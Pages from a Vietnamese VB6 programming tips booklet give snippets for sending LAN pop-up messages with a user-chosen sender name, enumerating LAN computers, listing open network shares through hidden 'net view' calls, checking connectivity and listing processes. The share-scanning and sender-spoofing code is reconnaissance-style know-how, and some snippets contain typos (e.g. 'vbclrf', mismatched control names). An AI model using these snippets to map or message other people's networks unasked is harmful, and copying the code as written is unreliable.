Chiêu thức lập trình VB 6.0Xuất xứ : www.pscode.com Binh khí sử dụng : - Cần ba TextBox với các tên : txtTo , txtFrom , txtMessage- 1 Button tên là : cmdSend- 1Label tên là : lStatusĐoạn mã : Private Declare Function NetSend Lib "netapi32" Alias "NetMessageBufferSend" (ByVal cServerName As String, ByVal cMsgName As String, ByVal cFromName As String, ByVal cBuf As String, ByRef iBufLen As Integer) As IntegerPrivate Sub cmdSend_Click() Dim sMessage Dim sMsgFrom As String Dim sMsgTo As String Dim Net_Api_Status As Long sMessage = StrConv(txtMessage & vbclrf, vbUnicode) sMsgTo = StrConv(txtTo, vbUnicode) sMsgFrom = StrConv(txtFrom, vbUnicode) NetSend "", sMsgTo, sMsgFrom, sMessage, Len(sMessage) lStatus.Caption = "Dang gui .."End Sub‘ Cần chú ý : Nếu bạn đang viết ứng dụng hoặc Test ở một máy không có kết nối mạng LAN hay Internet thì rất đơn giản địa chỉ của bạn là : 127.0.0.1 Vậy ngay bây giờ bạn có thể Test đọan Code i73 “Mọi lúc mọi nơi “ rùi đó

Chú ý : Do thư viện một số máy tính cũng nhưcổng DNS của máy “Đích” có thể đóng nên “Chiêu thức” này không có Bảo hành

Đôc chiêu 41 : Quét tất cả các máy trong mạng LAN home Giới thiệu : Với đọan Code sau chương trình của bạn sẽ quét tên tất cả các máy tính rong cùng mạng LAN với máy tính của bạn (Khi chương trình chạy)Xuất xứ : www.pscode.com Binh khí sử dụng : - 1 Class mang tên LAN- 1 ListBox (Trong Form bạn cần hiển thị) với tên : LstLANĐoạn mã : ‘Trong Class :Option ExplicitDim PCLIST As String 'buffer to hold pc's namesPrivate Type NETRESOURCE dwScope As Long dwType As Long dwDisplayType As Long dwUsage As Long lpLocalName As Long lpRemoteName As Long lpComment As Long lpProvider As LongEnd Type

Private Declare Function WNetOpenEnum Lib "mpr.dll" Alias _ "WNetOpenEnumA" (ByVal dwScope As Long, ByVal dwType As Long, _ ByVal dwUsage As Long, lpNetResource As Any, lphEnum As Long) As Long

Private Declare Function WNetEnumResource Lib "mpr.dll" Alias _ "WNetEnumResourceA" (ByVal hEnum As Long, lpcCount As Long, _ ByVal lpBuffer As Long, lpBufferSize As Long) As Long

Private Declare Function WNetCloseEnum Lib "mpr.dll" _ (ByVal hEnum As Long) As Long

Private Const RESOURCE_CONNECTED = &H1Private Const RESOURCE_GLOBALNET = &H2

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 57

Page 58: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Private Const RESOURCE_REMEMBERED = &H3

Private Const RESOURCETYPE_ANY = &H0Private Const RESOURCETYPE_DISK = &H1Private Const RESOURCETYPE_PRINT = &H2Private Const RESOURCETYPE_UNKNOWN = &HFFFF

Private Const RESOURCEUSAGE_CONNECTABLE = &H1Private Const RESOURCEUSAGE_CONTAINER = &H2Private Const RESOURCEUSAGE_RESERVED = &H80000000

Private Const GMEM_FIXED = &H0Private Const GMEM_ZEROINIT = &H40Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Declare Function GlobalAlloc Lib "kernel32" _ (ByVal wFlags As Long, ByVal dwBytes As Long) As Long

Private Declare Function GlobalFree Lib "kernel32" _ (ByVal hMem As Long) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias _ "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, _ ByVal cbCopy As Long) Private Declare Function CopyPointer2String Lib _ "kernel32" Alias "lstrcpyA" (ByVal NewString As _ String, ByVal OldString As Long) As Long

Private Function DoNetEnum()Dim hEnum As Long, lpBuff As Long, NR As NETRESOURCEDim cbBuff As Long, cCount As LongDim P As Long, res As Long, i As Long

On Error Resume NextIf Err.Number > 0 Then Exit Function

On Error GoTo ErrorHandler

NR.lpRemoteName = 0

cbBuff = 1024 * 31cCount = &HFFFFFFFF

res = WNetOpenEnum(RESOURCE_GLOBALNET, _ RESOURCETYPE_ANY, 0, NR, hEnum)

If res = 0 Then

lpBuff = GlobalAlloc(GPTR, cbBuff)

res = WNetEnumResource(hEnum, cCount, lpBuff, cbBuff) If res = 0 Then P = lpBuff For i = 1 To cCount CopyMemory NR, ByVal P, LenB(NR) 'list.AddItem PointerToString(NR.lpRemoteName) DoNetEnum2 NR P = P + LenB(NR) Next i End If

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 58

Page 59: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

ErrorHandler:On Error Resume Next If lpBuff <> 0 Then GlobalFree (lpBuff) WNetCloseEnum (hEnum)

End If

End Function

Private Function PointerToString(P As Long) As String

Dim s As String s = String(65535, Chr$(0)) CopyPointer2String s, P PointerToString = Left(s, InStr(s, Chr$(0)) - 1)

End Function

Private Sub DoNetEnum2(NR As NETRESOURCE)

Dim hEnum As Long, lpBuff As Long Dim cbBuff As Long, cCount As Long Dim P As Long, res As Long, i As Long

cbBuff = 1024 * 31 cCount = &HFFFFFFFF

res = WNetOpenEnum(RESOURCE_GLOBALNET, _ RESOURCETYPE_ANY, 0, NR, hEnum) If res = 0 Then

lpBuff = GlobalAlloc(GPTR, cbBuff) res = WNetEnumResource(hEnum, cCount, lpBuff, cbBuff) If res = 0 Then P = lpBuff For i = 1 To cCount CopyMemory NR, ByVal P, LenB(NR) Dim st As String Select Case NR.dwDisplayType Case &H1 st = "Domain" Case &H2 st = "Server" Case &H3 st = "Share" Case &H4 st = "File" Case &H5 st = "Groups" Case &H6 st = "Protocol Categories" End Select If LCase(st) <> "domain" Then PCLIST = PCLIST & "||" & Replace(PointerToString(NR.lpRemoteName), "\", "") '& " is a : " & st End If DoEvents If Not NR.dwDisplayType = 2 Then DoNetEnum2 NR P = P + LenB(NR) Next i End If

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 59

Page 60: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

If lpBuff <> 0 Then GlobalFree (lpBuff) WNetCloseEnum (hEnum)

End IfPCLIST = stripDelimiter(PCLIST)End SubProperty Get GetPCList() As StringGetPCList = PCLISTEnd PropertyPrivate Function stripDelimiter(ByVal s As String) As StringIf Left(s, 2) = "||" Then s = Right(s, Len(s) - 2)stripDelimiter = sEnd FunctionPrivate Sub Class_Initialize()DoNetEnumEnd Sub‘Trong Form :Private Sub Form_Load()Dim LANScan As New LANDim s() As StringDim is = Split(LANScan.GetPCList, "||")For i = LBound(s) To UBound(s)LstLAN.AddItem s(i)NextEnd SubĐôc chiêu 42 : Liệt kê tất cả các tài nguyên mạng đang trong trạng thái “Mở” home Giới thiệu : Liệt kê tất cả các tài nguyên mạng đang trong trạng thái “Mở” trong mạng LAN hoặc WANXuất xứ : Tại một trang web về bảo mật Binh khí sử dụng : - 1 ListBox (Trong Form bạn cần hiển thị) với tên : ListĐoạn mã : Private Sub Form_Load()

On Error Resume NextDim ishellSet ishell = CreateObject("wscript.shell")ishell.run "%comspec% /C net view > C:\plog.tmp", 0, True

Set fso = CreateObject("scripting.filesystemobject")Set rd = fso.opentextfile("C:\plog.tmp")nbuff = 0Do While rd.AtEndOfStream <> Truenbuff = rd.readlineIf Left(nbuff, 2) = "\\" Then ishell.run "%comspec% /C net view " & Trim(Left(nbuff, 21)) & " > C:\clog.tmp", 0, True                    Set rdd = fso.opentextfile("C:\clog.tmp")               buff = ""            Do While rdd.AtEndOfStream <> True          buff = rdd.readline        combuff = Right(Trim(buff), 4)      If Right(combuff, 4) = "Disk" Then    buffadd = Left(buff, 13)If Len(Trim(buffadd)) > 0 Thensharename = a & Trim(Left(nbuff, 21)) & "\" & Trim(buffadd) & aLstLAN.AddItem sharenameEnd IfEnd IfLoop

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 60

Page 61: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0End IfLoop

End SubĐôc chiêu 43 : Kiểm tra máy tính của bạn có kết nối Internet hay không home Xuất xứ : www.allapi.comBinh khí sử dụng : - KhôngĐoạn mã : Private Declare Function InternetGetConnectedStateEx Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal lpszConnectionName As String, ByVal dwNameLen As Integer, ByVal dwReserved As Long) As LongDim sConnType As String * 255Private Sub Form_Load() Dim Ret As Long Ret = InternetGetConnectedStateEx(Ret, sConnType, 254, 0) If Ret = 1 Then MsgBox "Ban da ket noi Internet " & sConnType, vbInformation Else MsgBox "Ban chua ket noi internet", vbInformation End IfEnd SubĐôc chiêu 44 : Liệt kê tất cả các Process đang hoạt động trong máy tính home Xuất xứ : www.pscode.com Binh khí sử dụng : - 1 ListBox mang tên List- 1 ModuleĐoạn mã : ‘Trong Module :'============================================'Author: Joe Wong (Come from China)'ICQ NO:7601450'PLS VOTE FOR ME AND GIVE ME COMMENTS,thanks!'==========================================

Public Declare Function CreateToolhelpSnapshot Lib "kernel32" _ Alias "CreateToolhelp32Snapshot" ( _ ByVal lFlags As Long, _ ByVal lProcessID As Long) As LongPublic Declare Function ProcessFirst Lib "kernel32" _ Alias "Process32First" ( _ ByVal hSnapShot As Long, _ uProcess As PROCESSENTRY32) As LongPublic Declare Function ProcessNext Lib "kernel32" _ Alias "Process32Next" ( _ ByVal hSnapShot As Long, _ uProcess As PROCESSENTRY32) As LongPublic Declare Function TerminateProcess Lib "kernel32" ( _ ByVal hProcess As Long, _ ByVal uExitCode As Long) As LongPublic Declare Function OpenProcess Lib "kernel32" ( _ ByVal dwDesiredAccess As Long, _ ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongPublic Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Public Const TH32CS_SNAPPROCESS = &H2Public Const TH32CS_SNAPheaplist = &H1Public Const TH32CS_SNAPthread = &H4Public Const TH32CS_SNAPmodule = &H8

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 61

Page 62: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Public Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + _ TH32CS_SNAPmodulePublic Const MAX_PATH As Integer = 260

'define PROCESSENTRY32 structure

Public Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATHEnd Type‘Trong Form :Private Sub TienHanh()

Dim i Dim theloop As Long Dim proc As PROCESSENTRY32 Dim snap As Long Dim exename As String

l.Clear snap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0) 'get snapshot handle proc.dwSize = Len(proc) theloop = ProcessFirst(snap, proc) 'first process and return value i = 0

While theloop <> 0 'next process exename = proc.szExeFile list.AddItem exename 'add process name to listview i = i + 1 theloop = ProcessNext(snap, proc) Wend

CloseHandle snap 'close snapshot handle

End Sub

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 62